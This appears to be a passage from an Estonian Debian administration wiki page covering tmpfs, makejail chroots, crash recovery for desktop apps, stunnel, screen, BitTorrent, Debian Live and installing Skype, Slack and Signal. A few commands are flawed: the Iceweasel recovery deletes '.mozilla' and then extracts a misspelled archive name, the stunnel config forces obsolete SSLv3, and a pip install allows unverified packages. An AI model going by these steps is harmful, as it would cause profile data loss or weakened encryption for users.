 6019    4 -rw-r--r--   1 root     root           16 Jul 19 08:25 /dev/shm/network/ifstate&lt;br /&gt;
&lt;br /&gt;
ja &lt;br /&gt;
&lt;br /&gt;
 # find /lib/init/rw&lt;br /&gt;
 /lib/init/rw&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d&lt;br /&gt;
 /lib/init/rw/sendsigs.omit.d/portmap&lt;br /&gt;
 /lib/init/rw/.ramfs&lt;br /&gt;
&lt;br /&gt;
Lisaks on /dev failisüsteem udev kasutamisel tmpfs peal, üldiselt sobib konkreetse süsteemi puhul küsida&lt;br /&gt;
&lt;br /&gt;
 # mount | grep tmpfs&lt;br /&gt;
&lt;br /&gt;
====ramfs====&lt;br /&gt;
&lt;br /&gt;
 # mkdir /mnt/ramfs&lt;br /&gt;
 # mount -t ramfs -o size=200m ramfs /mnt/ramfs&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://www.jamescoyle.net/knowledge/951-the-difference-between-a-tmpfs-and-ramfs-ram-disk&lt;br /&gt;
&lt;br /&gt;
===makejail abil chroot keskkonna moodustamine===&lt;br /&gt;
&lt;br /&gt;
Makejail programm abil saab moodustada chroot keskkonda, paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install makejail&lt;br /&gt;
&lt;br /&gt;
Programmi tööd juhib seadistusfail, nt /root/makejail-bash.py, kus on antud juhul näidatud&lt;br /&gt;
&lt;br /&gt;
* kuhu kataloogi moodustada chroot keskkond&lt;br /&gt;
* lisada sinna /bin/bash shell ning vastavad teegid lisada (antud juhul kasutatakse AMD64 platvormi)&lt;br /&gt;
&lt;br /&gt;
 # cat /root/makejail-bash.py&lt;br /&gt;
 chroot=&amp;quot;/home/mart&amp;quot;&lt;br /&gt;
 forceCopy=[&amp;quot;/lib64/ld-linux-x86-64.so.2&amp;quot;, &amp;quot;/bin/bash&amp;quot;,&amp;quot;/lib/ld-linux-x86-64.so.2&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
moodustame kataloogi /home/mart&lt;br /&gt;
&lt;br /&gt;
 bash# mkdir /home/mart&lt;br /&gt;
&lt;br /&gt;
ning moodustame sinna alla chroot keskkonna&lt;br /&gt;
&lt;br /&gt;
 bash# makejail /root/makejail-bash.py&lt;br /&gt;
 Loading configuration file /root/makejail.py&lt;br /&gt;
   Defining chroot = '/home/mart'&lt;br /&gt;
   Defining forceCopy = ['/bin/bash']&lt;br /&gt;
 Chroot directory is /home/mart&lt;br /&gt;
 Initializing list of running processes&lt;br /&gt;
   Executing : ps -e&lt;br /&gt;
 Creating temp dir /tmp/makejail_logs&lt;br /&gt;
 Adding files matching '/bin/bash'&lt;br /&gt;
   Checking path '/bin/bash'&lt;br /&gt;
      Dir '/home/mart/bin' missing&lt;br /&gt;
      Checking path '/bin'&lt;br /&gt;
         Making dir /home/mart/bin&lt;br /&gt;
  ..&lt;br /&gt;
   Creating 'lib/libncurses.so.5' as a symlink to 'libncurses.so.5.5' (pwd=/home/mart/lib)&lt;br /&gt;
   Executing : file /lib/libncurses.so.5&lt;br /&gt;
 Sleeping for 2.00 seconds&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib selline failistruktuur&lt;br /&gt;
&lt;br /&gt;
 bash# cd /home&lt;br /&gt;
 bash# find mart -ls&lt;br /&gt;
 507962    4 drwxr-xr-x   4 root     root         4096 Sep  9 15:12 mart&lt;br /&gt;
 507963    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/lib&lt;br /&gt;
 507968 1260 -rwxr-xr-x   1 root     root      1286104 May 15 13:19 mart/lib/libc-2.3.6.so&lt;br /&gt;
 507972    0 lrwxrwxrwx   1 root     root           17 Sep  9 15:12 mart/lib/libncurses.so.5 -&amp;gt; libncurses.so.5.5&lt;br /&gt;
 507973  100 -rwxr-xr-x   1 root     root        97928 May 15 13:19 mart/lib/ld-2.3.6.so&lt;br /&gt;
 507967  368 -rw-r--r--   1 root     root       369728 Oct 19  2006 mart/lib/libncurses.so.5.5&lt;br /&gt;
 507974    0 lrwxrwxrwx   1 root     root           11 Sep  9 15:12 mart/lib/ld-linux-x86-64.so.2 -&amp;gt; ld-2.3.6.so&lt;br /&gt;
 507970   12 -rw-r--r--   1 root     root        10392 May 15 13:19 mart/lib/libdl-2.3.6.so&lt;br /&gt;
 507971    0 lrwxrwxrwx   1 root     root           14 Sep  9 15:12 mart/lib/libdl.so.2 -&amp;gt; libdl-2.3.6.so&lt;br /&gt;
 507969    0 lrwxrwxrwx   1 root     root           13 Sep  9 15:12 mart/lib/libc.so.6 -&amp;gt; libc-2.3.6.so&lt;br /&gt;
 507964    0 lrwxrwxrwx   1 root     root            4 Sep  9 15:12 mart/lib64 -&amp;gt; /lib&lt;br /&gt;
 507965    4 drwxr-xr-x   2 root     root         4096 Sep  9 15:12 mart/bin&lt;br /&gt;
 507966  756 -rwxr-xr-x   1 root     root       769368 Dec 11  2006 mart/bin/bash&lt;br /&gt;
&lt;br /&gt;
Selleks, et veenduda kas kasutaja chroot keskkonna tekitamine õnnestus tuleb öelda, mille vastuseks saab shelli (ja siis öelda exit)&lt;br /&gt;
&lt;br /&gt;
 bash# chroot /home/mart&lt;br /&gt;
 bash# &lt;br /&gt;
&lt;br /&gt;
Nt sobib makejaili kasutada OpenSSH kasutajate chrootimisel.&lt;br /&gt;
&lt;br /&gt;
Seda, kas protsess töötab chroot keskkonnas saab kontrollida nt küsides vastava pid kohta, kuis link on mitte / kataloogile, siis on protsess näidatud kataloogi chroot'itud&lt;br /&gt;
&lt;br /&gt;
 # ls -ld /proc/11091/root&lt;br /&gt;
 lrwxrwxrwx 1 root root 0 Feb  2 22:39 /proc/11091/root -&amp;gt; /home/mart&lt;br /&gt;
&lt;br /&gt;
===Peale crashi Debiani käima-aitamine===&lt;br /&gt;
&lt;br /&gt;
Kui Debiani süsteem on crashinud, nt voolu kadumise tõttu, siis enamasti ext3 failisüsteem korrigeerib ennast ise, aga mõned rakendused on segaduses.&lt;br /&gt;
&lt;br /&gt;
====Skype====&lt;br /&gt;
&lt;br /&gt;
Skype teatab vahel, et 'Another Skype instance may exist', sel puhul ei pruugi aitada lock failide eemaldamine&lt;br /&gt;
&lt;br /&gt;
  $ rm .Skype/shared.lck .Skype/martkask/config.lck&lt;br /&gt;
&lt;br /&gt;
aga võib aitada selline järgnevus&lt;br /&gt;
&lt;br /&gt;
* käivitada Skype -dhpath võtmega ja logida korra sisse ning sulgeda programm (Quit), st nii, et protsess skype kaob&lt;br /&gt;
&lt;br /&gt;
  $ skype --dbpath=/home/mart/skype-tmp&lt;br /&gt;
&lt;br /&gt;
* selleks, et chat history jms säiliks, kopeerida vana sisuga üle kontole vastava kastaloogi sisu&lt;br /&gt;
&lt;br /&gt;
  $ rsync -avH /home/mart/.Skype/martkask/ /home/mart/skype-tmp/martkask&lt;br /&gt;
  $ mv /home/mart/.Skype /home/mart/.Skype-20090811-mittetootav&lt;br /&gt;
  $ mv /home/mart/skype-tmp /home/mart/.Skype&lt;br /&gt;
&lt;br /&gt;
* katsuda kasutada Skype'i edasi tavapärasel moel&lt;br /&gt;
&lt;br /&gt;
====Icedove====&lt;br /&gt;
&lt;br /&gt;
Programm ütleb käivitamisel, et '...', aitab kustutada failid&lt;br /&gt;
&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/.parentlock&lt;br /&gt;
  $ rm /home/mart/.mozilla-thunderbird/r4t56nog.default/lock&lt;br /&gt;
&lt;br /&gt;
ja proovida tavalisel moel edasi kasutada. Kontod jms seadistused peaksid nõnda säilima.&lt;br /&gt;
&lt;br /&gt;
====Iceweasel====&lt;br /&gt;
&lt;br /&gt;
Kui Iceweaseli kataloog .mozilla on ühendatud üle NFS'i siis on peale süsteemi crashi Iceweasel üsna katki. St *\lock\* failide eemaldamine näib mitte aitavat jne, väidetavalt on asi NFS ja Iceweaseli koostöös, tundub, et aitab korra .mozilla kataloog kokku ja lahti pakkida&lt;br /&gt;
&lt;br /&gt;
  $ tar cf .mozilla.tar .mozilla&lt;br /&gt;
  $ rm -rf .mozilla&lt;br /&gt;
  $ tar xf .morilla.tar&lt;br /&gt;
  $ rm .mozilla.tar&lt;br /&gt;
&lt;br /&gt;
===Stunnel4 kasutamine===&lt;br /&gt;
&lt;br /&gt;
Stunnel http://www.stunnel.org/ tarkvara võimaldab ühendada kokku krüptimist iseenesest mitte toetavat klienti ja krüptitud teenust, või vastupidi. Või korraldada krüptimist mitte toetava kliendi ja serveri vahel siiski krüptitud andmevahetust.&lt;br /&gt;
&lt;br /&gt;
Paigaldamiseks tuleb öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install stunnel4&lt;br /&gt;
&lt;br /&gt;
====Stunnel4 kliendi kasutamine krüptitud teenuse poole pöördumisel====&lt;br /&gt;
&lt;br /&gt;
Seadistusfaili /etc/stunnel/stunnel.conf sobib kirjutada&lt;br /&gt;
&lt;br /&gt;
  sslVersion = SSLv3&lt;br /&gt;
  chroot = /var/lib/stunnel4/&lt;br /&gt;
  setuid = stunnel4&lt;br /&gt;
  setgid = stunnel4&lt;br /&gt;
  pid = /stunnel4.pid&lt;br /&gt;
  &lt;br /&gt;
  socket = l:TCP_NODELAY=1&lt;br /&gt;
  socket = r:TCP_NODELAY=1&lt;br /&gt;
  &lt;br /&gt;
  output = /var/log/stunnel4/stunnel.log&lt;br /&gt;
  &lt;br /&gt;
  client = yes&lt;br /&gt;
  &lt;br /&gt;
  [smtps]&lt;br /&gt;
  accept  = 127.0.0.1:46525&lt;br /&gt;
  connect = smtps.loomaaed.tartu.ee:465&lt;br /&gt;
&lt;br /&gt;
tulemusena saab pöörduda smtp kliendiga krüptimata localhost:46525 porti, mida vahendatakse smtps.loomaaed.tartu.ee 465 krüptitud pordiga.&lt;br /&gt;
&lt;br /&gt;
===Terminalihaldusprogrammi Screen kasutamine===&lt;br /&gt;
&lt;br /&gt;
screen tarkvara peab olema paigaldatud kaughallatavasse arvutisse&lt;br /&gt;
&lt;br /&gt;
  # apt-get install screen&lt;br /&gt;
&lt;br /&gt;
* screen käivitamiseks logida eemal olevasse arvutisse sisse ja öelda&lt;br /&gt;
&lt;br /&gt;
 $ screen&lt;br /&gt;
&lt;br /&gt;
* Ctrl-a, c - tekita uus aken&lt;br /&gt;
* Ctrl-a, n - liigu järgmisse aknasse&lt;br /&gt;
* Ctrl-a, d - lase screenist lahti&lt;br /&gt;
* esita nimekiri arvutis olevatest kasutaja screenidest&lt;br /&gt;
  &lt;br /&gt;
 $ screen -ls&lt;br /&gt;
 There is a screen on:&lt;br /&gt;
         2807.pts-5.pg2a     (Detached)&lt;br /&gt;
 1 Socket in /var/run/screen/S-postgres.&lt;br /&gt;
&lt;br /&gt;
* ühendu näidatud screeniga&lt;br /&gt;
&lt;br /&gt;
 $ screen -r 2807.pts-5.pg2a&lt;br /&gt;
&lt;br /&gt;
Süsteemis töötavate screenidele vastavaid protsesse näeb öeldes&lt;br /&gt;
&lt;br /&gt;
 # ps aux | grep SCREEN&lt;br /&gt;
&lt;br /&gt;
Mitmekasutajarežiimis screen kasutamiseks saavad järgmised kasutajad ühenduda külge öeldes&lt;br /&gt;
&lt;br /&gt;
 $ screen -x&lt;br /&gt;
&lt;br /&gt;
Screen logimiseks on -L võti, logi kirjutatakse faili screenlogN.log, või ^a-H.&lt;br /&gt;
&lt;br /&gt;
Kui screen on attached olekus, aga vastav terminaliaken on nö kadunud, siis resumemiseks tuleb enne force'ida detach&lt;br /&gt;
&lt;br /&gt;
 $ screen -D&lt;br /&gt;
&lt;br /&gt;
===IEEE 802.1X kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
* http://en.wikipedia.org/wiki/IEEE_802.1X&lt;br /&gt;
* http://www.cesnet.cz/doc/techzpravy/2007/802.1x-wired-authentication/&lt;br /&gt;
&lt;br /&gt;
===Bittorrent===&lt;br /&gt;
&lt;br /&gt;
Bittorrent on levinud P2P  (peer-to-peer, ingl. k. osaliselt-osalisele) andmevahetusprotokoll, millele on iseloomulik, et suhtlemine leiab olulises osas aset otse osaliste endi vahel. Andmevahetusprotokoll on orienteeritud pigem suuremamahulisema andmevahetuse jaoks ning kopeeritud andmeid reeglina ei saa kasutada nö reaalajas kopeerimise käigus, vaid peale kopeerimise lõppu sobiva rakendusega. Nt kui tegu on video-materjaliga, siis saab seda videot asuda vaatama peale kopeerimise lõppu, mitte aga kopeerimise ajal.&lt;br /&gt;
&lt;br /&gt;
====Bittorrenti kliendi kasutamine andmete kopeerimiseks====&lt;br /&gt;
&lt;br /&gt;
Andmete kopeerimiseks võrgust kohalikku arvutisse on vaja teada huvipakkuva ressursi nö aadressi, mis esineb .torrent faili kujul. Nt jagatakse aadressilt http://www.debian.org/CD/torrent-cd/ edasi liikudes Debian operatsioonisüsteemi .torrent faile&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Debian Linux sisaldab mitmeid bittorrent kliente (nt rtorrent, qbittorrent, bittorrent, bittornado jt), mis võivad erineda kõigi või mõne aspekti poolest järgnevatest&lt;br /&gt;
&lt;br /&gt;
* millises mahus on bittorrent protokoll toetatud&lt;br /&gt;
* kas programmil on graafiline, pseudo-graafiline (nn curses) või käsurea kasutajaliides&lt;br /&gt;
&lt;br /&gt;
Konkreetselt qbittorrent kasutajaliides näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:bittorrent-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kust on näha&lt;br /&gt;
&lt;br /&gt;
* kopeeritakse faili debian-503-amd64-CD-1.iso&lt;br /&gt;
* DL Speed on allalaadimise kiirus ja UP Speed üleslaadimise kiirus&lt;br /&gt;
* Seeds/Leechs näitab kui paljudelt osalistelt kasutaja kopeerib ja kui paljud temalt edasi kopeerivad&lt;br /&gt;
* sakil Search saab vaikimisi qbittorrenti klienti seadistatud trackereid kasutada otsinguks ja otsingu tulemustena leitud .torrenteid kopeerida&lt;br /&gt;
&lt;br /&gt;
Kopeerimise alustamiseks tuleb valida nupp BT ning kopeerida sinna .torrent faili aadress, nt&lt;br /&gt;
&lt;br /&gt;
  http://cdimage.debian.org/debian-cd/5.0.3/amd64/bt-cd/debian-503-amd64-CD-1.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Bittorrent kliendi kasutamine andmete jagamiseks====&lt;br /&gt;
&lt;br /&gt;
Bittorrentiga on algajal kasutajal oluliselt lihtsam kopeerida andmeid endale kui pakkuda välja oma andmeid teistele kasutajatele.&lt;br /&gt;
&lt;br /&gt;
.torrenti moodustamiseks sobib öelda (programmid on paketist bittorrent) eeldusel, et on olemas fail andmed.iso&lt;br /&gt;
&lt;br /&gt;
  $ btmakemetafile.bittorrent andmed.iso http://torrent.loomaaed.tartu.ee:80/announce&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* andmed.iso - lähtematerjal, mida asutakse välja jagama&lt;br /&gt;
* http://torrent.loomaaed.tartu.ee:80/announce - trackeri aadress&lt;br /&gt;
&lt;br /&gt;
Käsu tulemusena moodustatakse vastav .torrent fail&lt;br /&gt;
&lt;br /&gt;
  andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
ning seejärel saab seda välja jagada nt nii&lt;br /&gt;
&lt;br /&gt;
  $ btdownloadcurses.bittorrent andmed.iso.torrent&lt;br /&gt;
&lt;br /&gt;
====Kohaliku trackeri kasutamine====&lt;br /&gt;
&lt;br /&gt;
bittorrent pakett sisaldab bittorrent tracker programmi bttrack. Trackeri käivitamiseks sobib öelda lihtsamal juhul&lt;br /&gt;
&lt;br /&gt;
  # bttrack --dfile dfail.log&lt;br /&gt;
&lt;br /&gt;
mille tulemusena käivitub pordil 80 spetsiaalne http server, mis on valmis võtma vastu bittorrent klientide poolt infot andmete väljajagamise kohta ja teenindama bittorrenti kliente, kes soovivad andmeid endale kopeerida.&lt;br /&gt;
&lt;br /&gt;
Selliselt käivitatud trackerit saab kasutada nt organisatsiooni siseselt, iseasi kas sellisel kasutusel erilist praktilist väärtust on.&lt;br /&gt;
&lt;br /&gt;
====Transmission====&lt;br /&gt;
&lt;br /&gt;
Transmission tarkvaral on mitmed kasutajaliidesed, muu hulgas käsurealt kasutamise võimalus. Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install transmission-cli&lt;br /&gt;
&lt;br /&gt;
Seejärel tuleb tekitada seadistusfail nt sellise sisuga ning moodustada näidatud kataloogid&lt;br /&gt;
&lt;br /&gt;
 $ cat ~/.config/transmission/settings.json&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;download-dir&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir&amp;quot;: &amp;quot;/home/priit/transm-incomplete&amp;quot;, &lt;br /&gt;
   &amp;quot;incomplete-dir-enabled&amp;quot;: true, &lt;br /&gt;
   &amp;quot;open-dialog-dir&amp;quot;: &amp;quot;/home/priit&amp;quot;, &lt;br /&gt;
   &amp;quot;recent-download-dir-1&amp;quot;: &amp;quot;/home/priit/transm&amp;quot;, &lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
kusjuures esimesel käivitamisel kirjutab sinna programm paljude muude seadistusparameetrite vaikeväärtused lisaks juurde. Käivitamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 $ /usr/bin/transmission-cli /tmp/proxmox-ve_3.1-93bf03d4-8.iso.torrent&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail&lt;br /&gt;
&lt;br /&gt;
 transm/proxmox-ve_3.1-93bf03d4-8.iso&lt;br /&gt;
&lt;br /&gt;
===Amule===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Debian Live===&lt;br /&gt;
&lt;br /&gt;
Debian Live projekt http://debian-live.alioth.debian.org/ tegeleb selliste vahendite ettevalmistamisega, millega kasutaja saab moodustada oma vajaduste rahuldamiseks sobivaid operatsioonisüsteemi tõmmiseid. Live keskkonnale on iseloomulik, et operatsioonisüsteem laaditakse mingilt nö mitte-kõvakettalt, vaid nt CD/DVD plaadilt, USB pulgalt või võrgust ning et sellise keskkonna kasutamine ei mõjuta arvuti lokaalse kõvaketta olekut.&lt;br /&gt;
&lt;br /&gt;
====live-helper====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-helper&lt;br /&gt;
&lt;br /&gt;
Tarkvara kasutamist on kirjeldatud aadressil http://live.debian.net/manual/html/index.html.&lt;br /&gt;
&lt;br /&gt;
Nt alglaadiva usb pulga tõmmise ettevalmistamiseks sobib kasutada&lt;br /&gt;
&lt;br /&gt;
  # mkdir /usr/src/live&lt;br /&gt;
  # cd /usr/src/live&lt;br /&gt;
  # ld_config&lt;br /&gt;
  # ld_build -b usb-hdd&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekib fail binary.img mida saab kopeerida nt Windows Vista keskkonnas USB pulgale programmiga http://www.pendrivelinux.com/universal-usb-installer-easy-as-1-2-3/.&lt;br /&gt;
&lt;br /&gt;
Tulemuse katsetamiseks sobib qemu, sedasi&lt;br /&gt;
&lt;br /&gt;
  # qemu -hda binary.img&lt;br /&gt;
&lt;br /&gt;
====live-magic====&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
  # apt-get install live-magic&lt;br /&gt;
&lt;br /&gt;
Debian Live Magic programmi käivitamiseks tuleb öelda juurkasutajana&lt;br /&gt;
&lt;br /&gt;
  # live-magic&lt;br /&gt;
&lt;br /&gt;
ning avaneb järgnev pilt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Debian-live-1.gif]]&lt;br /&gt;
&lt;br /&gt;
kus tuleb valida, millist Live keskkonda ettevalmistama asutakse.&lt;br /&gt;
&lt;br /&gt;
===Slack kasutamine===&lt;br /&gt;
&lt;br /&gt;
Slack https://slack.com/ paigaldamiseks sobib kopeerida .deb fail ning öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install failinimi.deb&lt;br /&gt;
&lt;br /&gt;
Paistab, et tarkvara paigaldamise käigus tekitatakse fail&lt;br /&gt;
&lt;br /&gt;
 # cat /mnt/kontdeb9/etc/apt/sources.list.d/slack.list &lt;br /&gt;
 deb https://packagecloud.io/slacktechnologies/slack/debian/ jessie main&lt;br /&gt;
&lt;br /&gt;
===Signal kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tarkvara kopeerimiseks https://signal.org/download/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/apt/sources.list.d/signal-xenial.list &lt;br /&gt;
deb [arch=amd64] https://updates.signal.org/desktop/apt xenial main&lt;br /&gt;
&lt;br /&gt;
# curl -s https://updates.signal.org/desktop/apt/keys.asc | sudo apt-key add -&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja paigaldamiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get update&lt;br /&gt;
# apt-get install signal-desktop&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Skype kasutamine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://www.skype.com/ jagatakse Skype tarkvara mitmel erineval kujul&lt;br /&gt;
&lt;br /&gt;
* 32 bit&lt;br /&gt;
* 64 bit&lt;br /&gt;
* staatiliselt lingitud&lt;br /&gt;
&lt;br /&gt;
====2017 - Skype v. 5.0 kasutamine====&lt;br /&gt;
&lt;br /&gt;
Märkus: 2017 kevadel on v. 5.0 beta, mis praktiliselt tähendab, et muidu töötab, aga chat histori otsingut pole.&lt;br /&gt;
&lt;br /&gt;
Lisada võti&lt;br /&gt;
&lt;br /&gt;
 # curl https://repo.skype.com/data/SKYPE-GPG-KEY | sudo apt-key add -&lt;br /&gt;
&lt;br /&gt;
lisada fail /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
&lt;br /&gt;
 # cat /etc/apt/sources.list.d/skypeforlinux.list&lt;br /&gt;
 deb [arch=amd64] https://repo.skype.com/deb stable main&lt;br /&gt;
&lt;br /&gt;
ja paigaldada&lt;br /&gt;
&lt;br /&gt;
 # apt-get update&lt;br /&gt;
 # apt-get install skypeforlinux&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://www.ubuntuupdates.org/ppa/skypeforlinux&lt;br /&gt;
&lt;br /&gt;
====pre 2017 - Skype kasutamine 64 bit keskkonnas====&lt;br /&gt;
&lt;br /&gt;
Süsteemi etteavalmistamisel tuleb paigaldada paketid ia32-libs-gtk ja libqt4-dev&lt;br /&gt;
&lt;br /&gt;
 # apt-get install ia32-libs-gtk libqt4-dev&lt;br /&gt;
&lt;br /&gt;
Seejärel skype 64 bit pakett, muus osas peaks töötama kuigi käivitamisel öeldakse&lt;br /&gt;
&lt;br /&gt;
 $ skype &lt;br /&gt;
 Gtk-Message: Failed to load module &amp;quot;canberra-gtk-module&amp;quot;: \&lt;br /&gt;
   /usr/lib/gtk-2.0/modules/libcanberra-gtk-module.so: wrong ELF class: ELFCLASS64&lt;br /&gt;
 (&amp;lt;unknown&amp;gt;:6901): Gtk-WARNING **: /usr/lib/gtk-2.0/2.10.0/engines/libglide.so: &lt;br /&gt;
   wrong ELF class: ELFCLASS64&lt;br /&gt;
&lt;br /&gt;
====Skype kasutamine Debian Wheezy multiarch keskkonnas====&lt;br /&gt;
&lt;br /&gt;
* kopeerida Skype lokaalsesse reposse - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_paketihalduse_kasutamine#Privaatse_failis.C3.BCsteemi_repositooriumi_kasutamine&lt;br /&gt;
* lisada süsteemile i386 arhitektuur - http://www.auul.pri.ee/wiki/Operatsioonis%C3%BCsteemi_Debian_GNU/Linux_kasutamine#Multiarch_kasutamine&lt;br /&gt;
* paigaldada skype&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skype:i386&lt;br /&gt;
&lt;br /&gt;
====Skype v. 8.x kasutamine====&lt;br /&gt;
&lt;br /&gt;
Kui järgmine v. 8.y versioon ei sobi, siis saab eelmise x. 8.x paigaldada nt selliselt&lt;br /&gt;
&lt;br /&gt;
 # apt-get install skypeforlinux=8.11.0.4&lt;br /&gt;
&lt;br /&gt;
Nimekiri variantidest on näha aadressil https://repo.skype.com/deb/pool/main/s/skypeforlinux/&lt;br /&gt;
&lt;br /&gt;
====Skyperious====&lt;br /&gt;
&lt;br /&gt;
Head inimesed on programmeerinud Python keeles tarkvara Skyperious http://suurjaak.github.io/Skyperious/index.html, mille abil saab Skype andmebaaside sisu, st praktiliselt jutuajamist ajalugu, uurida ilma Skype programmi enda, võrguühenduse jms olemasoluta. Tundub, et programm kasutab asjaolu, et vastav andmebaas on praktiliselt SQLite andmebaas. Praktiliselt võib see olla abiks kui Skype versiooni uuendamisel ei õnnestu chat history sisu uude versiooni kaasa võtta, nt v. 4.2 -&amp;gt; 4.3 uuendamisel Linux all. Skyperiuos kasutajaliides paistab selline&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Skyperious-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Tarkvara paigaldamist kirjeldatakse aadressil https://github.com/suurjaak/Skyperious. Lühidalt tuleb Debian Jessie all öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wx2.8-i18n libwxgtk2.8-dev libgtk2.0-dev&lt;br /&gt;
 # apt-get install python-wxgtk2.8 python-wxtools&lt;br /&gt;
 # apt-get install python-pip&lt;br /&gt;
&lt;br /&gt;
Seejärel lähtetekst lahti pakkida ja öelda&lt;br /&gt;
&lt;br /&gt;
 # pip install --allow-all-external --allow-unverified -r requirements&lt;br /&gt;
&lt;br /&gt;
Kasutajana käivitamisel öeldakse alustuseks&lt;br /&gt;
&lt;br /&gt;
 $ skyperious.sh&lt;br /&gt;
 -su: skyperious.sh: /bin/sh^M: bad interpreter: No such file or directory&lt;br /&gt;
&lt;br /&gt;
millest saab üle nn dos reavahetuste eemaldamisega&lt;br /&gt;
&lt;br /&gt;
 # fromdos skyperious.sh&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
Skype vestlusaknas saab teksti parandada nn Sed süntaksit kasutades&lt;br /&gt;
&lt;br /&gt;
  mart: priiti, ei ole võimalik&lt;br /&gt;
  &lt;br /&gt;
  ,-------------------------------,&lt;br /&gt;
  | s/priiti/Priit/               |&lt;br /&gt;
  |_______________________________|&lt;br /&gt;
&lt;br /&gt;
http://share.skype.com/sites/linux/2009/09/some_explanations.html&lt;br /&gt;
&lt;br /&gt;
===PulseAudio kasutamine===&lt;br /&gt;
&lt;br /&gt;
http://pulseaudio.org/&lt;br /&gt;
&lt;br /&gt;
===Huawei netipulga kasutamine===&lt;br /&gt;
&lt;br /&gt;
2010 aastal on populaarne kasutada mobiilse internetiühenduse teenust Huawei USB netipulga abil. Sellist tüüpi netipulgad on sisuliselt GSM modemid, mis ühendatakse arvutiga USB kaudu ning mille kasutamiseks peab seadmesse olema paigaldatud mobiilside operaatori kehtiv SIM-kaart (Subscriber Identity Module). Selline netipulk ei ole kuidagi seotud wifiga ning seda saab kasutada asudes mobiilside operaatori levialas. Netipulga kasutamiseks peab olema arvutisse paigaldatud PPP kliendi tarkvara, nt wvdial ja arvuti oskama kasutada USB-serial seadmeid.&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://wiki.debian.org/Modem/3G&lt;br /&gt;
&lt;br /&gt;
====Riistvara====&lt;br /&gt;
&lt;br /&gt;
Näiteks olgu kasutada Huawei E620 USB Modem seade ning teenusepakkuja EMT andmesideteenus.&lt;br /&gt;
&lt;br /&gt;
 # lsusb&lt;br /&gt;
 ...&lt;br /&gt;
 Bus 002 Device 003: ID 12d1:1001 Huawei Technologies Co., Ltd. E620 USB Modem&lt;br /&gt;
&lt;br /&gt;
====Tarkvara====&lt;br /&gt;
&lt;br /&gt;
Netipulga kasutamiseks piisab Debian Lenny paketihalduse tarkvarast, st vajalikest tuuma moodulitest ning wvdial programmist, mille paigaldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # apt-get install wvdial&lt;br /&gt;
&lt;br /&gt;
====Seadistamine ja käivitamine====&lt;br /&gt;
&lt;br /&gt;
Esmalt tuleb laadida maha usb-storage, option ja usbserial tuuma moodulid&lt;br /&gt;
&lt;br /&gt;
 # rmmmod usb-storage&lt;br /&gt;
 # rmmod option&lt;br /&gt;
 # rmmod usbserial&lt;br /&gt;
&lt;br /&gt;
ning laadida usbserial sobivate parameetritega, vastavalt käesolevale lsusb väljundile, nt&lt;br /&gt;
&lt;br /&gt;
 # modprobe usbserial vendor=0x12d1 product=0x1001&lt;br /&gt;
&lt;br /&gt;
Tulemusena on kasutada USB-serial seadmed&lt;br /&gt;
&lt;br /&gt;
 # ls -l /dev/ttyUSB*&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 0 Apr 27 23:46 /dev/ttyUSB0&lt;br /&gt;
 crw-rw---- 1 root dialout 188, 1 Apr 27 23:15 /dev/ttyUSB1&lt;br /&gt;
